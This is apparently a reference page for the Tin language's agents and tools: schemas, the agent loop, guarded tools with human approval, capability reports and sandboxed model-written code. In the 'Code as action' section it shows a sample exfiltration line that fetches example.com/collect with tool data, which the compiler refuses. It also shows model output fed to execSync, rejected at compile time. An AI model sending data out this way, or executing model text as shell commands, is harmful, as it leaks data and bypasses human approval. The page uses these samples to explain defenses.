<!-- Agents and tools · Tin · https://tin.ad/docs/ref/agents/ · generated from the built page -->

[Reference](https://tin.ad/docs/ref/)

-  [The language](https://tin.ad/docs/ref/language/)
-  [Agents and tools](https://tin.ad/docs/ref/agents/)
- [Tools](#tools)
- [How types become schemas](#schemas)
- [Agents](#agents)
- [Request options](#options)
- [Images, documents, citations](#parts)
- [Tools Anthropic defines](#anthropic-tools)
- [The agent loop](#loop)
- [Typed replies](#typed)
- [When an agent call fails](#failures)
- [Events](#events)
- [Guarded tools and approval](#guarded)
- [Capabilities](#capabilities)
- [Sub-agents and concurrency](#teams)
- [Code as action](#code)
- [Models](#models)
- [Record and replay](#replay)
-  [Model providers](https://tin.ad/docs/ref/providers/)
-  [The Anthropic API](https://tin.ad/docs/ref/anthropic/)
-  [Talking agents](https://tin.ad/docs/ref/bidi/)
-  [Standard library](https://tin.ad/docs/ref/stdlib/)
-  [Glossary](https://tin.ad/docs/ref/glossary/)
-  [Package docs](https://tin.ad/docs/ref/api/)
-  [Telemetry](https://tin.ad/docs/ref/telemetry/)
-  [Robots](https://tin.ad/docs/ref/robot/)
-  [Servers](https://tin.ad/docs/ref/server/)
-  [Deploying](https://tin.ad/docs/ref/deploy/)
-  [tin.ad](https://tin.ad/docs/ref/cloud/)
-  [The tin command](https://tin.ad/docs/ref/cli/)
-  [How it works](https://tin.ad/docs/ref/internals/)

**Reference · Agents and tools

- [The language](https://tin.ad/docs/ref/language/)
- [Agents and tools](https://tin.ad/docs/ref/agents/)
- [Model providers](https://tin.ad/docs/ref/providers/)
- [The Anthropic API](https://tin.ad/docs/ref/anthropic/)
- [Talking agents](https://tin.ad/docs/ref/bidi/)
- [Standard library](https://tin.ad/docs/ref/stdlib/)
- [Glossary](https://tin.ad/docs/ref/glossary/)
- [Package docs](https://tin.ad/docs/ref/api/)
- [Telemetry](https://tin.ad/docs/ref/telemetry/)
- [Robots](https://tin.ad/docs/ref/robot/)
- [Servers](https://tin.ad/docs/ref/server/)
- [Deploying](https://tin.ad/docs/ref/deploy/)
- [tin.ad](https://tin.ad/docs/ref/cloud/)
- [The tin command](https://tin.ad/docs/ref/cli/)
- [How it works](https://tin.ad/docs/ref/internals/)

On this page

- [Tools](#tools)
- [How types become schemas](#schemas)
- [Agents](#agents)
- [Request options](#options)
- [Images, documents, citations](#parts)
- [Tools Anthropic defines](#anthropic-tools)
- [The agent loop](#loop)
- [Typed replies](#typed)
- [When an agent call fails](#failures)
- [Events](#events)
- [Guarded tools and approval](#guarded)
- [Capabilities](#capabilities)
- [Sub-agents and concurrency](#teams)
- [Code as action](#code)
- [Models](#models)
- [Record and replay](#replay)

# Agents and tools

What the compiler generates from a tool fn and an agent, and exactly what the agent loop does at run time.

## Tools

A `tool fn` is an ordinary function. You can call it yourself. Marking it
`tool` makes the compiler also produce what a model needs in order to call it: a name,
a description, and a JSON Schema for its parameters. The description is the `///` comment
above the function; a `///` comment above a parameter describes that parameter.

```tin
type Unit = | Celsius | Fahrenheit

/// Look up the weather for a city.
tool fn weather(
  /// City name, for example "Istanbul"
  city: string,
  unit: Unit,
  /// How many days ahead; today if missing
  days: Option<int>,
): string => "sunny in {city}"

fn main() {}
```

 This is what the compiler generates for it. `tin tools file.tin` prints the same thing.

<!-- output -->
```text
{
  "name": "weather",
  "description": "Look up the weather for a city.",
  "schema": {
    "type": "object",
    "properties": {
      "city": {
        "type": "string",
        "description": "City name, for example \"Istanbul\""
      },
      "unit": {
        "type": "string",
        "enum": [
          "Celsius",
          "Fahrenheit"
        ]
      },
      "days": {
        "type": "integer",
        "description": "How many days ahead; today if missing"
      }
    },
    "required": [
      "city",
      "unit"
    ],
    "additionalProperties": false
  }
}
```

 Because the schema is derived from the signature, it cannot disagree with the code. Rename a
parameter or change its type and the schema changes with it.

Rules for a tool:

- Parameters and the result must be data: numbers, `bool`, `string`,
`Duration`, arrays, structs, sum types, `Option`. Functions, tasks and
agents cannot cross to a model.

- It cannot be generic. A model needs one concrete schema.
- An `Option` parameter is optional for the model. Every other parameter is required.

### What the model sees back

| The tool | The model receives |
| --- | --- |
| returns a `string` | that text |
| returns any other value | the value as JSON |
| returns nothing | `ok` |
| returns `Ok(x)` | `x`, as a success |
| returns `Err(e)` | `e`, marked as a failed call |
| panics, or divides by zero | `Error: …`, marked as a failed call |
| was sent arguments of the wrong shape | which argument was wrong and why, marked as a failed call; the tool does not run |

 A failed tool call never stops the program. It goes back to the model as data, and the model
decides what to do next. Use `Result` for failures you expect.

## How types become schemas

The same mapping is used for tool parameters, tool results and [typed replies](#typed).

| Tin type | JSON Schema | JSON value |
| --- | --- | --- |
| `int` | `{"type": "integer"}` | `42` |
| `i64` | `{"type": "string", "pattern": "^-?[0-9]+$"}`: JSON numbers are exact only to 253, so a 64-bit value travels as text | `"1731660000000000000"` |
| `float` | `{"type": "number"}` | `1.5` |
| `bool` | `{"type": "boolean"}` | `true` |
| `string` | `{"type": "string"}` | `"text"` |
| `Duration` | a number of milliseconds | `250` |
| `T[]` | an array of `T` | `[1, 2]` |
| a struct | an object; every field required except `Option` fields; no extra properties | `{"x": 1, "y": 2}` |
| `Option<T>` | the schema of `T`, and the field may be left out | the value, or `null` or absent for `None` |
| a sum type with no values | a string limited to the variant names | `"Celsius"` |
| any other sum type | one object shape per variant, told apart by a `type` field | `{"type": "Circle", "r": 2}` |

` A positional variant such as Number(int)` uses the field name `value`
(then `value2`, `value3`). Doc comments on struct fields become property
descriptions.

## Agents

An `agent` binds a model, a system prompt and tools. Declared at the top level it has a
name and exists once for the whole program. Written as an expression it creates a new agent each
time, and its fields can use local values.

```tin
/// Add two integers.
tool fn add(a: int, b: int): int => a + b

agent Calculator {
  model: "mock"
  system: "You are a calculator."
  tools: [add]
  maxTurns: 8
}

fn main() {
  print(Calculator("please add 2 and 3"))

  let style = "pirate"
  let local = agent {
    model: "mock"
    system: "Answer like a {style}."
  }
  print(local("ahoy"))
}
```

<!-- output -->
```text
mock: 5
mock: ahoy
```

| Field | Meaning | If left out |
| --- | --- | --- |
| `model` | a model name, as a string | `$TIN_MODEL`, then `claude-opus-5-5` |
| `system` | the system prompt | none |
| `tools` | a list of `tool fn` names and top-level agent names | no tools |
| `maxTurns` | the most model calls one question may take | 20 |
| `maxTokens` | the most tokens (input plus output) one question may use: no new model call starts once they are used, and each reply's output is capped to what is left | no limit |
| `on …` | [event handlers](#events) | none |

 An agent is called like a function, with one string. It also has these methods:

| Call | Does |
| --- | --- |
| `A("question")`, `A.ask("question")` | runs the agent loop and returns the answer |
| `A.try("question")` | the same, but a failure is `Err(AgentError)` instead of a panic ([below](#failures)) |
| `A.reset()` | forgets the conversation (the counters below keep counting) |
| `A.fresh()` | a copy of the agent with an empty conversation |
| `A.turns()` | how many model calls it has made since it was created (or restored) |
| `A.tokens()` | input plus output tokens it has used |
| `A.with { effort: low }` | the agent itself, with these [request options](#options) over its own for its next question only: `A.with { thinking: off }.ask(q)` |
| `A.lastReply()` | what its last model call reported: a `ModelReply` with the provider's `id`, `model`, `stopReason` (`end_turn`, `stop_sequence`, `pause_turn`, …) and `stopSequence`, Tin's `stop`, `usage` (`input`, `output`, `cacheRead`, `cacheWrite`, `thinking`) and `raw`, the usage object as sent (cache writes by TTL, server tool use, service tier). After a failed call, `error` and the HTTP `status` |
| `A.save()` | its conversation and counters, as a JSON string |
| `A.restore(state)` | puts a saved conversation back: `Ok(messages)`, or `Err(why)` if the text is not a saved agent or calls tools this agent lacks |

 An agent remembers its conversation: each call adds to the history the model sees. The
conversation belongs to the runtime, not to a provider's session, so `save` and
`restore` can keep it across a crash or move it to another machine
(`examples/agents/12-resume.tin`). Agents are
values of type `Agent`, so they can be stored, passed to functions and put in arrays.

## Request options

The rest of an agent's fields go into each model request. They are checked when the program compiles: a word the
field doesn't have, a thinking budget under 1024, a tool name the agent lacks, or a header name with a space is an
error that says what to write. Strings, numbers and lists may be computed (`env("TRACE")`, a variable).

```tin
agent Researcher {
  model: "claude-sonnet-4-6"
  thinking: budget(8000)            // adaptive | budget(n) | betweenTools | off
  thinkingDisplay: omitted          // summarized | omitted
  interleaved: true                 // think between tool calls (a beta header)
  effort: high                      // low | medium | high | xhigh | max
  stop: ["END"]
  toolChoice: auto                  // auto | any | none | the name of one of its tools
  parallelTools: false
  cache: { ttl: 1h }               // off | auto (5-minute breakpoints) | server (the API places it) | { ttl: 5min | 1h, server: true }
  headers: { "x-trace": env("TRACE") }
  betas: ["context-1m-2025-08-07"]
  metadata: { userId: "u-7" }
  serviceTier: standardOnly         // auto | standardOnly
  speed: fast                       // standard | fast
  inferenceGeo: "us"
  output: json                      // typed replies through structured outputs (default: tool)
  strictTools: true                 // strict: true on every tool definition
  toolFields: { lookup: { defer_loading: true } }   // a tool's other API fields
  compaction: { type: "summarize" } // beta request objects, as the API spells them inside:
                                    // contextManagement, fallbacks, fallbackCreditToken, thread, diagnostics, taskBudget
  body: { container: "c-1" }        // any other request field, merged in last
  tools: [lookup]
}
```

- **Every provider** sends `headers` and merges `body`. The others map onto each API's own
names where it has them (OpenAI's `reasoning_effort`, Gemini's `thinkingConfig`, Bedrock's
`additionalModelRequestFields`); an option a provider has no equivalent for fails the call with its name, it is
never dropped.

- **Claude**: `temperature`, `topP` and `topK` are a compile error on
`anthropic:` and bare `claude-…` models, because the Messages API removed them (use `effort`);
other providers take them. A forced tool (`toolChoice: any` or a tool name) together with thinking is a compile
error too: the API refuses that request.

- **Per model**: with a literal Claude model, a thinking type, effort level or `maxTokens` the
model doesn't take is a compile error that names what it does take. `claude-haiku-5-5` thinks
`adaptive` only (no `budget(n)`, no `betweenTools`); `claude-haiku-4-5` has no
`effort`; `xhigh` starts at 4.7. The table is `src/anthropic-models.ts`, generated from the
live `/v1/models` capabilities (`npm run models:anthropic`). A model computed at run time
(`env("MODEL")`), another provider, or a model newer than the table is checked by the API instead.

- The full list of Anthropic API items and their state is `docs/parity/anthropic.json`, generated from the
official SDK's types (`npm run parity:anthropic`).

## Tools Anthropic defines

Claude has tools whose definitions belong to Anthropic. Some the API runs itself (**server tools**); for the
others the program does the work in a `tool fn` (**client tools**). Both are agent fields, checked
when the program compiles, and both are Anthropic-only: on another provider they are a compile error.

```tin
agent Researcher {
  model: "claude-haiku-4-5"
  serverTools: {                                   // the API runs these
    webSearch: { maxUses: 3, allowedDomains: ["tin.ad"] }   // or blockedDomains; userLocation, version
    webFetch: { maxUses: 2, citations: true }
    codeExecution: {}
    toolSearch: { kind: bm25, defer: [lookup] }    // regex | bm25; deferred tool fns load when a search finds them
    advisor: { model: "claude-opus-5-5", maxUses: 2 }     // beta, header added
  }
  mcpServers: {                                    // the MCP connector: Anthropic connects to the server
    calendar: { url: "https://mcp.example.com/sse", token: env("CAL_TOKEN"), tools: ["list_events"] }
  }
  container: "cntr_…"                              // start in an existing code execution container
  tools: [remember, edit, screen]
  clientTools: {                                   // the program runs these, in the named tool fns
    memory: remember
    textEditor: { tool: edit, maxCharacters: 20000 }
    computer: { tool: screen, width: 1280, height: 800 }   // computerToolset / browserToolset: one fn for all members
  }
}
```

- **Server tools** go in the request after the agent's own tools, in the API's exact shape (each has a default
version; `version: "20260318"` picks another, and a setting newer than the chosen
version is an error). Their results (`server_tool_use`, `web_search_tool_result`, code execution and MCP
blocks) stay in the conversation and go back to the API unchanged.

- **pause_turn.** A long server-tool turn may pause. The loop sends the paused reply back unchanged and the model
carries on; the answer is the text of every request of that turn, and each continuation counts against
`maxTurns`.

- **Containers.** When a reply ran in a code execution container, the next request of the conversation goes back to
it, so files and state survive across turns and pauses. `fresh()` starts a new one.

- **Client tools** are answered by `tool fn f(input: string)`: the API's input arrives whole, as JSON text,
and the request carries Anthropic's definition instead of the fn's schema. `std/anthropic` has ready-made handlers:
`anthropic.memoryAt("memory.json", input)` (a store whose paths can never leave `/memories`) and
`anthropic.textEditor("workspace").call(input)` (real files, confined to one directory). A computer or browser
tool returns `anthropic.screenshot(png)`, which reaches Claude as an image. Give a client tool that changes things
`guarded` so a person approves each call.

- **Capabilities.** `tin caps` counts what the model can do through these tools: web search, web fetch and
MCP servers give the agent `net`, code execution gives it `code`, and so does everything that asks the agent.
What these tools return is part of the model's reply, so it carries the same taint as any reply.

Checked on Claude Haiku 4.5 through Bedrock (`bedrock-anthropic:`): memory, text editor, bash and computer. The
other tools are checked against the documented request and response shapes; see [The Anthropic API](https://tin.ad/docs/ref/anthropic/).

## Images, documents, citations

A question can be a list of parts instead of one string. Each part becomes a content block of the request:

```tin
let png = readBytes("chart.png").unwrap()
print(Analyst([text("What does this chart show?"), image(png, "image/png")]))

let notes = document("The compiler was first committed on 15 November 2026.").titled("Notes").cited()
print(Analyst([notes, text("When was it first committed? Cite it.")]))
for c in Analyst.lastReply().citations.items() { print(c.field("cited_text")) }
```

| Part | Is |
| --- | --- |
| `text(s)` | text |
| `image(bytes, mediaType)`, `imageUrl(url)`, `imageFile(fileId)` | an image (JPEG, PNG, GIF, WebP) |
| `pdf(bytes)`, `pdfUrl(url)`, `documentFile(fileId)` | a PDF |
| `document(text)`, `documentChunks([...])` | a text document, whole or in chunks you chose |
| `searchResult(source, title, texts)` | a result your own search found |
| `containerUpload(fileId)` | a Files API file put into the code execution container (the agent needs `serverTools: { codeExecution }`) |
| `.titled(t)`, `.context(c)`, `.cited()`, `.cached("1h")` | a title, context the model reads but does not cite, citations on, a cache breakpoint |

 Parts go to `anthropic:` and `bedrock-anthropic:` models; a provider that takes text only refuses the
call and names the part. Citations come back in `A.lastReply().citations`, as the API sent them.

## The agent loop

Calling an agent runs this loop. It is part of the runtime, in the same way the event loop is.

- The prompt is added to the conversation as a user message.
- The model is called with the system prompt, the conversation, and the tool schemas.
- If the model's reply has no tool calls, its text is the answer. The loop ends.
- Otherwise every tool call in that reply runs, all at the same time, each as its own task.
Their results go back to the model in one message, in the order the model asked for them.

- Go to step 2.

The loop also ends, as a panic (or an `Err` from `A.try`), when the model has been called `maxTurns` times for
one question, when the question has used its `maxTokens` budget, when the model declines
the request, or when its reply is cut off by the output limit. A turn cap exists by default because a model that keeps calling tools would otherwise run,
and bill, without end.

Run any program with `--trace` to watch the loop:

<!-- output -->
```text
$ tin run examples/agents/05-claude.tin --trace
[Calculator] turn 1 → anthropic.claude-opus-5-5
[Calculator]   call add({"a":17,"b":25})
[Calculator]   result add: 42
[Calculator] turn 2 → anthropic.claude-opus-5-5
[Calculator]   call multiply({"a":42,"b":3})
[Calculator]   result multiply: 126
[Calculator] turn 3 → anthropic.claude-opus-5-5
(17 + 25) * 3 = 126
```

## Typed replies

The type you expect from an agent call decides the shape of the reply. With no expectation, or
`string`, you get the model's text. With any other type, the compiler generates that
type's schema and the runtime requires the model to answer in that shape. What comes back is a
real value of that type.

```tin
type Size = | Small | Medium | Large

type Order = {
  /// What the customer wants to drink
  drink: string
  size: Size
  /// How many cups
  quantity: int
  /// Extra requests, if any
  notes: Option<string>
}

agent Clerk { model: "mock" }

fn main() {
  let order: Order = Clerk("Two cups please: 2 of the 'oat latte', Large")
  print(order)
  print(match order.size { Large => "use the big cups", _ => "regular cups" })
}
```

<!-- output -->
```text
Order { drink: "oat latte", size: Large, quantity: 2, notes: None }
use the big cups
```

The expected type can come from a `let` annotation, a parameter, a return type, or
any other place a type is known. An `if` condition expects a `bool`, so
`if Judge("Is this spam? …") { … }` asks for a yes-or-no answer.

How it works: the runtime gives the model one extra tool, `answer`, whose parameters
are the schema of the expected type, and tells it to finish by calling that tool.

- If the model's answer does not fit the type, the mismatch is sent back as a failed call and
the model corrects it.

- If the model answers in prose, it is asked again, up to three times.
- The model can still use the agent's other tools first.

A typed reply cannot be a bare `float` or `Duration`; wrap those in a struct.

## When an agent call fails

A plain agent call either answers or stops the program with a panic. `A.try(prompt)`
makes the same call but gives a `Result<T, AgentError>`, so a program can retry, fall
back to another agent, or explain. The expected `Result` decides the reply's shape, as for a
plain call; with no expectation, `T` is `string`.

```tin
/// Add two integers.
tool fn add(a: int, b: int): int => a + b
agent Hasty { model: "mock", tools: [add], maxTurns: 1 }
type Sum = { total: int }
agent Clerk { model: "mock" }
fn main() {
  match Hasty.try("add 2 and 3") {
    Ok(text) => print(text)
    Err(e) => print("no answer: {e}")
  }
  let s: Result<Sum, AgentError> = Clerk.try("the total is 7")
  print(s)
}
```

<!-- output -->
```text
no answer: TurnLimit(1)
Ok(Sum { total: 7 })
```

| `AgentError` | When |
| --- | --- |
| `TurnLimit(n)` | the model was called `maxTurns` times for one question |
| `OverBudget(n)` | the question used its `maxTokens` budget of `n` tokens |
| `Refused(why)` | the model declined the request |
| `Cut` | the reply was cut off by the output limit |
| `NoAnswer` | a typed reply was expected, and the model kept answering in prose |
| `Failed(why)` | the model could not be called: no key, no provider for the name, offline, rate limited |

 A failed call leaves the conversation as it was before the question, so the agent can be asked
again. A tool that panics is not an `AgentError`: its message goes back to the model as a
failed call and the loop carries on. A stopped task is still stopped; `try` does not catch
that. Bounding the time a call may take is `within`'s job (see
[Sub-agents and concurrency](#teams)).

## Events

An agent can declare handlers that run while its loop does. They are how you stream text, log
tool use, or show progress.

```tin
/// Add two integers.
tool fn add(a: int, b: int): int => a + b

agent Calculator {
  model: "mock"
  tools: [add]
  on text(chunk) => write("[{chunk}]")
  on toolCall(name, input) => print("calling {name} with {input}")
  on toolResult(name, output, ok) => print("{name} returned {output} (ok: {ok})")
}

fn main() {
  Calculator("please add 2 and 3")
  print()
}
```

<!-- output -->
```text
calling add with {"a":2,"b":3}
add returned 5 (ok: true)
[mock: 5]
```

| Handler | Runs | Parameters |
| --- | --- | --- |
| `on text(chunk)` | as reply text arrives; with a real model, many times per reply | `string` |
| `on toolCall(name, input)` | before a tool runs | `string`, and the arguments as JSON text |
| `on toolResult(name, output, ok)` | after a tool finishes | `string`, `string`, `bool` |

 A handler may take fewer parameters than the event provides. Handlers cannot call a tool the
agent was not given.

## Guarded tools and approval

A `guarded tool fn` needs a person's approval each time a model calls it. The loop
pauses, the runtime asks, and the tool runs only on a yes. On a no the tool does not run, and the
model is told the call was denied and to continue without it.

```tin
/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"

agent Janitor {
  model: "mock"
  tools: [deleteFile]
}

fn main() {
  print(Janitor("deleteFile 'old-backup.zip'"))
}
```

<!-- output -->
```text
mock: error: Tool call denied by the user. Do not retry it; continue without it.
```

That output is from the docs build, where nobody is there to approve. Who is asked depends on
where the program runs:

| Where | How approval is asked |
| --- | --- |
| `tin run` in a terminal | a `y/N` prompt showing the tool and its arguments |
| `tin run --yes` | everything is approved |
| `tin run` without a terminal (a pipe, CI) | everything is denied |
| the playground | a browser confirmation, or the choice in the toolbar |
| your own host | the `approve` function you pass to the runtime |

### The compiler checks the approval path

Approval at run time would be worth little if other code could call the guarded function
directly. So the compiler proves that it cannot. The only way into guarded code is an agent
offering a `guarded tool fn` to its model. From `main`, and from every
unguarded tool, no call, function value or lambda may reach a guarded function. Plain functions can
be marked `guarded fn` too, to protect a dangerous primitive that several tools share.

```tin
/// Move money. Cannot be undone.
guarded fn wire(to: string, cents: int): string => "sent {cents} to {to}"

fn payInvoice(id: int): string => wire("vendor-{id}", 100)

/// Pay an invoice by id.
tool fn pay(id: int): string => payInvoice(id)

agent Clerk { model: "mock", tools: [pay] }

fn main() {
  print(Clerk("pay 7"))
}
```

<!-- compiler output -->
```text
error: tool 'pay' can run 'wire', which is guarded, without anyone approving it
 --> main.tin:4:35
  |
4 | fn payInvoice(id: int): string => wire("vendor-{id}", 100)
  |                                   ^^^^^^^^^^^^^^^^^^^^^^^^
  = note: path: pay → payInvoice → wire
  = note: mark it `guarded tool fn pay` so the agent loop asks first
  = fix: mark pay as guarded
```

The error shows the path, and `tin fix` applies the suggested change. Because tool
parameters are plain data and Tin has no global variables, the only code a tool can run is code its
body refers to, which is why this check is exact and not a guess.

### Calling a guarded tool yourself: `approve`

Plain code can call a guarded tool too, through `approve`. It shows a person the
exact call, with its arguments, and runs the tool only on a yes. The result is
`Ok(value)`, or `Err("denied: ...")` when the answer is no (or there is no one to
ask). For a tool with no result it is `true` or `false`. The compiler counts it as
approved, like an agent offering the tool. The arguments are evaluated first, so what the person sees is
exactly what will run: in `approve deleteFile(pick())`, `pick()` runs before anyone is asked.

```tin
/// Permanently delete a file.
guarded tool fn deleteFile(path: string): string => "deleted {path}"

fn main() {
  match approve deleteFile("draft.md") {
    Ok(msg) => print(msg)
    Err(why) => print("not done: {why}")
  }
}
```

<!-- output -->
```text
not done: denied: deleteFile
```

### A model's reply and outside code

What a model says may not reach JavaScript, an MCP server or Python unapproved, in `main`
too. A value that comes out of `agent.ask` or `agent.try`, or anything computed from
it (a field, an interpolation, an array it was pushed into, a helper's result), is from the model; passing
it to an `extern fn`, directly or through your own functions, is a compile error:

```tin
import js "node:child_process" {
  extern fn execSync(command: string): string
}
agent Planner { model: "x", system: "Answer with one shell command." }

fn main() {
  let cmd = Planner.ask("what lists the files here?")
  print(execSync(cmd))
}
```

<!-- compiler output -->
```text
error: in main: a value from a model's reply reaches extern fn execSync without anyone approving it
 --> main.tin:6:1
  |
6 | fn main() {
  | ^^^^^^^
  = note: main gets text from agent.ask / agent.try and passes something computed from it to execSync
  = note: put the call in a `guarded tool fn` and call it with `approve`, so a person sees the exact arguments first
  = note: or match the reply against cases and call with values the program writes itself
```

There are two ways out, and no cast: `approve` a guarded tool, so a person sees the exact
command, or decide in code and call with values the program writes itself. Branching on a reply is fine;
only its data is held back.

```tin
import js "node:child_process" {
  extern fn execSync(command: string): string
}
type Listing = | Files | Hidden
agent Planner { model: "x", system: "Pick one." }

/// Run a shell command (a person approves each one).
guarded tool fn shell(command: string): string => execSync(command)

fn main() {
  let pick: Listing = Planner.ask("plain listing or with hidden files?")
  match pick {
    Files => print(execSync("ls")),
    Hidden => print(execSync("ls -a")),
  }
  let cmd = Planner.ask("anything else?")
  match approve shell(cmd) {
    Ok(out) => print(out),
    Err(why) => print("not run: {why}"),
  }
}
```

The check is conservative: the length of a reply is still from the model. Model output passed to a
function value (a lambda, or a named function used as a value, such as the function given to `map`)
counts as reaching every function of that type the program uses as a value. It does not follow values
through a closure's captured variables or a task's result.

## Capabilities

`tin caps file.tin` reports, for every agent, which tools its model can call freely,
which need approval, and what those tools can do to the outside world. For this program:

```tin
/// Move money. Cannot be undone.
guarded tool fn wire(to: string, cents: int): string => "sent {cents} to {to}"

/// Read the balance.
tool fn balance(): int => 4200

/// Fetch a web page.
tool fn page(url: string): string => fetch(url).or("unreachable")

agent Teller { model: "mock", tools: [balance, wire] }
agent Browser { model: "mock", tools: [page] }
agent Manager { model: "mock", tools: [Teller, Browser] }

fn main() {
  print(Manager("hello"))
}
```

<!-- output -->
```text
$ tin caps bank.tin
agent Teller
  tools:           balance, wire (guarded)
  can call freely: balance
  needs approval:  wire
  capabilities:    model

agent Browser
  tools:           page
  can call freely: page
  needs approval:  nothing
  capabilities:    model, net

agent Manager
  tools:           Teller (agent), Browser (agent)
  can call freely: balance, page
  needs approval:  wire
  capabilities:    model, net

tools
  wire     guarded  pure
  balance  free     pure
  page     free     net

main
  capabilities:    model, net, output
```

 `Manager` has no tools of its own, yet the report shows it can reach the network and
needs approval for `wire`, because its sub-agents can. To ask about one function, use
`tin caps file.tin --reach wire`.

| Capability | Granted by |
| --- | --- |
| `model` | calling an agent |
| `net` | `fetch` |
| `input` | `input` |
| `output` | `print`, `write` |
| `env` | `env` |
| `clock` | `now`, `sleep` |
| `random` | `random`, `randomInt` |
| `spawn` | `spawn` |

 **Not yet:** capabilities are inferred and reported, but an agent
cannot yet declare a limit such as "no network" for the compiler to enforce.

## Sub-agents and concurrency

Agents compose with the rest of the language.

- **Sub-agents.** A top-level agent listed in another agent's `tools`
becomes a tool that takes one string, `input`. Its `///` comment is the
description the calling model sees.

- **Concurrency.** `spawn A.ask("…")` runs an agent as a task. One
agent holds one conversation, so calls to the same agent wait their turn; use
`fresh()` for independent copies that run at the same time.

- **Pipelines.** An agent is called like a function, so
`"question" |> Researcher |> Editor` feeds one agent's answer to the next.

- **Time limits.** `spawn A.ask("…") |> within(5s)` gives an agent a
latency budget. If the limit passes, the task is stopped: a reply that arrives late is
dropped, tool calls it asked for never run, and a tool that is running is stopped at its
next pause. The answer is `None`.

```tin
/// Look up the population of a city, in millions.
tool fn population(city: string): float => match city {
  "Istanbul" => 15.7
  "Tokyo" => 14.0
  _ => 1.0
}

/// Knows facts about cities.
agent Researcher { model: "mock", tools: [population] }

agent Lead { model: "mock", tools: [Researcher] }

fn main() {
  print(Lead("ask the Researcher for the population of 'Istanbul'"))

  let tasks = ["Istanbul", "Tokyo"].map(c => spawn Researcher.fresh().ask("population of '{c}'"))
  for t in tasks { print(await t) }

  print(spawn Researcher.ask("population of 'Tokyo'") |> within(2s))
}
```

<!-- output -->
```text
mock: mock: 15.7
mock: 15.7
mock: 14
Some("mock: 14")
```

## Code as action

With `code: true`, an agent's model gets one more way to act: it can write a small
Tin program that calls the agent's tools, and the runtime compiles and runs it. A task that would
take a dozen separate tool calls becomes one round trip, and any arithmetic is done by the program
instead of being estimated by the model.

```tin
type Reading = { day: int, celsius: float }

/// The cities that have a weather station.
tool fn cities(): string[] => ["Istanbul", "Oslo", "Cairo", "Lima"]

/// Last week's noon temperatures for a city, one reading per day.
tool fn readings(
  /// A city from cities()
  city: string,
): Result<Reading[], string> {
  let base = match city {
    "Istanbul" => 18.0
    "Oslo" => 6.5
    "Cairo" => 31.0
    "Lima" => 22.0
    _ => return Err("no station in {city}")
  }
  Ok(range(1, 8).map(day => Reading { day, celsius: base + float(day * 7 % 5) - 2.0 }))
}

agent Meteorologist {
  system: "You answer questions about the weather stations. For anything that needs several lookups or arithmetic, write one program with run_code. Be brief."
  tools: [cities, readings]
  code: true
  on toolCall(name, input) => print(if name == "run_code" { "  the model wrote a program" } else { "    program calls {name} {input}" })
}

fn main() {
  print(Meteorologist("Which city had the warmest average last week, and what was each city's average?"))
}
```

<!-- output -->
```text
$ tin run examples/agents/09-code.tin

── the program the model wrote ──
fn main() {
    var best = ""
    var bestAvg = -1000.0
    for c in cities() {
        match readings(c) {
            Ok(rs) => {
                if rs.len == 0 {
                    print("{c}: no readings")
                } else {
                    let avg = sum(map(rs, r => r.celsius)) / float(rs.len)
                    print("{c}: {avg} ({rs.len} readings)")
                    if avg > bestAvg {
                        bestAvg = avg
                        best = c
                    }
                }
            },
            Err(e) => print("{c}: error {e}")
        }
    }
    print("warmest: {best} {bestAvg}")
}

── what the run printed ──
  the model wrote a program
    program calls cities {}
    program calls readings {"city":"Istanbul"}
    program calls readings {"city":"Oslo"}
    program calls readings {"city":"Cairo"}
    program calls readings {"city":"Lima"}
Cairo had the warmest average last week, at about 31.3 °C.

Average noon temperature for each city (7 daily readings each):
- Cairo: 31.3 °C
- Lima: 22.3 °C
- Istanbul: 18.3 °C
- Oslo: 6.8 °C
```

 That is a real session, replayed from its recording while this page was built. The program is
what Claude wrote, given the two tool signatures and a fifteen-line summary of Tin. What makes
this safe to allow:

- **The program is compiled before it runs.** A type error goes back to the model
as a failed call, with the compiler's message and its fix, and the model corrects it.

- **The compiler checks what it can reach.** The agent's tools are the only
functions declared to the program from outside. Using the network, the environment, user
input, another agent or `spawn` is refused before anything runs. This is the same
reachability analysis as [capabilities](#capabilities), applied to the model's code.

- **It runs in its own WebAssembly instance.** It has its own memory. A value
crosses only as an argument to a tool or a result from one.

- **Guarded tools still ask.** A `guarded tool fn` called from the
program goes through the same approval as when the model calls it directly.

- **It has a budget.** Every loop pass and call spends fuel; a program that runs
too long is stopped and the model is told so.

For example, if the model's program tried to send data somewhere:

```tin
fn main() {
  let data = readings("Cairo")
  print(fetch("https://example.com/collect?d={data}"))
}
```

<!-- compiler output -->
```text
Refused before running: this program is not allowed to use the network (fetch). It may only compute, print, and call the functions listed in this tool's description.
```

 A tool that returns a `Result` hands its `Err` to the program as a value.
Any other tool failure, including a denied approval, ends the program and is reported to the
model. Event handlers see the program as a `run_code` call, followed by each tool call
the program makes.

**Limits today:** the step budget is fixed, memory use is not capped
below WebAssembly's own limit, sub-agents cannot be called from code, and tools whose signatures
use a generic struct are left out of what the program can call.

## Models

The `model` field is a name: `"mock"`, a Claude name such as `"claude-opus-5-5"`, or
`"provider:model"` for any other provider (`"openai:gpt-5.1"`, `"gemini:gemini-3-pro"`,
`"ollama:llama3.2"`, …). `"a | b"` falls back and `"route(by: …; label: model)"` routes. The
[providers page](https://tin.ad/docs/ref/providers/) lists every provider, what it needs and how failures read.

Set `TIN_MODEL` to give agents without a `model` field a default.
Claude is reached through the official Anthropic SDK in the CLI, which `npm install` adds; it is loaded only
when a program calls one. `TIN_PROVIDER=fetch` skips the SDK and calls the Anthropic API with plain
`fetch`, the same provider a browser uses. Without a key, an agent call stops with
`no model key: set …, or run offline …`. How a web page or any other JavaScript host runs agents is in
`docs/HOST-API.md`.

### The mock model

`model: "mock"` never touches the network. It exists so that examples, tests and the
playground can run the whole agent loop offline. It behaves like a very literal model:

- Given a prompt, it calls every tool the prompt mentions by name, or the first tool if none is
mentioned. Arguments are filled from the numbers and quoted strings in the prompt, in order.

- Given tool results, it answers `mock:` followed by those results.
- With no tools, it answers `mock:` followed by the prompt.
- For a typed reply it fills the shape the same way.
- It counts four characters as a token, so `tokens()` and `maxTokens` can be tried offline.

It is a test double, not a model. Its answers are only as meaningful as that description.

## Record and replay

`tin run file.tin --record tape.json` saves everything nondeterministic the run took
from outside: each model response, each `fetch` result, each line of
`input`, and each random number. `--replay tape.json` runs the program again
from the tape, with no model and no network, and prints the same output.

<!-- output -->
```text
$ tin run examples/agents/05-claude.tin --record claude.json
…
recorded 5 model call(s) to claude.json
$ tin run examples/agents/05-claude.tin --replay claude.json     # offline, in milliseconds
